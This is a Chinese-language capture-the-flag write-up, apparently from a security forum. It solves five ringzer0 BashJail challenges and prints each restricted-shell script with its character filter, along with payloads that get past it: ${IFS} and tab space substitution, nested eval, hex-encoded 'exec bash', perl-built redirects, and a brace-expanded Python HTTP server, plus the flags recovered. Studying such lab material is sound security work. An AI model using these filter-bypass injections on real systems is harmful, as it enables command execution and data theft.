ringzer0 CTF BashJail分析
1315609050541697 发表于 湖北 CTF 450浏览 · 2024-09-04 13:58

最近打了ringzer0 CTF BashJail挑战,题目非常有趣考察bash的特性以及绕过奇淫技巧,下面是对BashJail的多解分析

Bash jail1

jail源码如下

Challenge bash code:
-----------------------------

while :
do
        echo "Your input:"
        read input
        output=`$input`
done 

-----------------------------
Your input:

该脚本获取我们的输入,并使用 反引号 执行它。唯一的问题是我们
看不到输出。

方法一

linux文件描述符重定向

0 : 表示stdin标准输入
1 : 表示stdout标准输出
2 : 表示stderr标准错误
| >&:将联合符号前面的内容与后面相结合,然后一起重定向给后者。

cat /home/level1/flag.txt 1>&2

通过将标准错误流重定向到标准输出,仍可以回显

FLAG-U96l4k6m72a051GgE5EN0rA85499172K

方法二

payload

dd if=/home/level1/flag.txt of=/dev/tty
  1. dd 命令:

    • dd 是一个命令行工具,用于转换和复制文件。它的全称是“data duplicator”。
  2. 参数解释:

    • if=/home/level1/flag.txt

      • if 表示“input file”,即输入文件。
      • /home/level1/flag.txt 是要读取的文件路径。
    • of=/dev/tty

      • of 表示“output file”,即输出文件。
      • /dev/tty 是一个特殊设备文件,表示当前终端(通常用于交互式会话)。
  3. 执行效果:

    • 这个命令会将 /home/level1/flag.txt 文件的内容读取出来,并输出到当前终端(标准输出)。

Bash jail2

Challenge bash code:

-----------------------------

function check_space {
        if [[ $1 == *[bdks';''&'' ']* ]]
        then    
                return 0
        fi

        return 1
}

while :
do
        echo "Your input:"
        read input
        if check_space "$input" 
        then
                echo -e '\033[0;31mRestricted characters has been used\033[0m'
        else
                output="echo Your command is: $input"
                eval $output
        fi
done 

-----------------------------cat/home/level2/flag.txt
  • $1:表示传递给当前脚本或函数的第一个参数。例如,如果你调用 check_space "some_string",那么 $1 就是 "some_string"
  • *: 在 Bash 中,星号(*)通常用作通配符,代表零个或多个字符。它在文件名模式匹配中非常有用,但在这种上下文中它的意义不明确。

  • [bdks';''&'' ']: 方括号用于定义一个字符类(character class),通常用于模式匹配(例如 ls [abc]* 匹配以 abc 开头的文件名)。在这个上下文中:

由于不允许使用 “;”, “&”、“]”、“b”、“d” 空格等字符,不能重定向了,此外这次使用的是eval函数,并且使用了命令拼接

方法一

eval配合反引号命令动态执行,空格使用tab或者IFS绕过

`cat    /home/level2/flag.txt`
`cat${IFS}/home/level2/flag.txt`


FLAG-a78i8TFD60z3825292rJ9JK12gIyVI5P

方法二

使用管道符号绕过拼接,命令执行

|cat<tab>/home/level2/flag.txt

方法三

在 Bash 脚本中,$() 是一种用于命令替换的语法。它允许你在一个命令中嵌入另一个命令的输出,这样你可以将一个命令的结果直接用作另一个命令的参数或赋值给变量。$() 形式是推荐的方式,因为它比传统的反引号 ` 语法更具可读性,并且支持嵌套。

$(cat</home/level2/flag.txt)

Bash Jail3

Challenge bash code:

-----------------------------

WARNING: this prompt is launched using ./prompt.sh 2>/dev/null

# CHALLENGE

function check_space {
        if [[ $1 == *[bdksc]* ]]
        then    
                return 0
        fi

        return 1
}

while :
do
        echo "Your input:"
        read input
        if check_space "$input" 
        then
                echo -e '\033[0;31mRestricted characters has been used\033[0m'
        else
                output=`$input` &>/dev/null
                echo "Command executed"
        fi
done

这里的问题是 stderr 被重定向到:/dev/null

WARNING: this prompt is launched using ./prompt.sh 2>/dev/null

第二个问题是 stdoutstderr 也被重定向到:/dev/null

output=`$input` &>/dev/null

并且过滤了bdksc五个字母

方法一

使用eval动态执行命令来绕过字母限制

这将导致错误,因为 shell 无法执行flag.txt文件。所以他会报错利用重定向到标准输入来回显

eval $(</home/level3/flag.txt) 2>&0

FLAG-s9wXyc9WKx1X6N9G68fCR0M78sx09D3j

方法二

可以通过uniq来绕过查看

eval uniq flag.txt >&0

方法三

通过编码绕过执行exec bash,然后就不受waf限制
注意:由于输入的时候是在终端,所以需要转义\

Your input:
printf \\x65\\x78\\x65\\x63\\x20\\x62\\x61\\x73\\x68\\x0a
Command executed
Your input:
eval $output

然后重定向输出到终端即可

cat flag.txt > $(tty)
FLAG-s9wXyc9WKx1X6N9G68fCR0M78sx09D3j

Bash Jail4

Challenge bash code:

-----------------------------

WARNING: this prompt is launched using ./prompt.sh 2>/dev/null

# CHALLENGE

function check_space {
        if [[ $1 == *[bdksc'/''<''>''&''$']* ]]
        then    
                return 0
        fi

        return 1
}

while :
do
        echo "Your input:"
        read input
        if check_space "$input" 
        then
                echo -e '\033[0;31mRestricted characters has been used\033[0m'
        else
                output=`$input < /dev/null` &>/dev/null
                echo "Command executed"
        fi
done 

-----------------------------

输出被重定向到 /dev/null,可以使用 Perl 来构造合法的命令。你可以利用 Perl 的 print 函数来输出包含被禁止字符的命令,并通过 eval 来执行它

通过嵌套两层eval来绕过/dev/null

eval eval `perl -e 'print "\\x63at \\x2fhome\\x2flevel4\\x2fflag.txt \\x3e \\x2f\\x64ev\\x2ftty"'`

FLAG-OTQKB0274fwtxk3v2rTLCd0l5v7KNp7F

Bash Jail5

WARNING: this prompt is launched using ./prompt.sh 2>/dev/null

# CHALLENGE

function check_space {
        if [[ $1 == *[bdksctr'?''*''/''<''>''&''$']* ]]
        then    
                return 0
        fi

        return 1
}

while :
do
        echo "Your input:"
        read input
        if check_space "$input" 
        then
                echo -e '\033[0;31mRestricted characters has been used\033[0m'
        else
                output=`$input < /dev/null` &>/dev/null
                echo "Command executed"
        fi
done 

-----------------------------

很多字符都是不允许使用的。这使得挑战非常困难,因为重定向 (>,<,&) 也不再可能。因此,即使有人成功读取了文件,OUTPUT 也必须重定向到其他设备。但是也不允许使用斜杠 (/),因此很难指定输出

我们可以用通配符来绕过字母,在本机使用开启http服务

eval eval py{o..u}hon\\ -m\\ SimpleHTTPSe{q..v}ve{q..v}\\;

再使用level1 靶机读取本机端口文件即可绕过

level1@lxc17-bash-jail:~$ python3 1>&0 

>>> import urllib.request 
>>> urllib.request.urlopen("http://127.0.0.1:8000/flag.txt"). read() 
>>> b'FLAG-OTQKB0274fwtxk3v2rTLCd0l5v7KNp7F\n' 
>>> quConnection to ringzer0team.com closed
0 条评论
某人
表情
可输入 255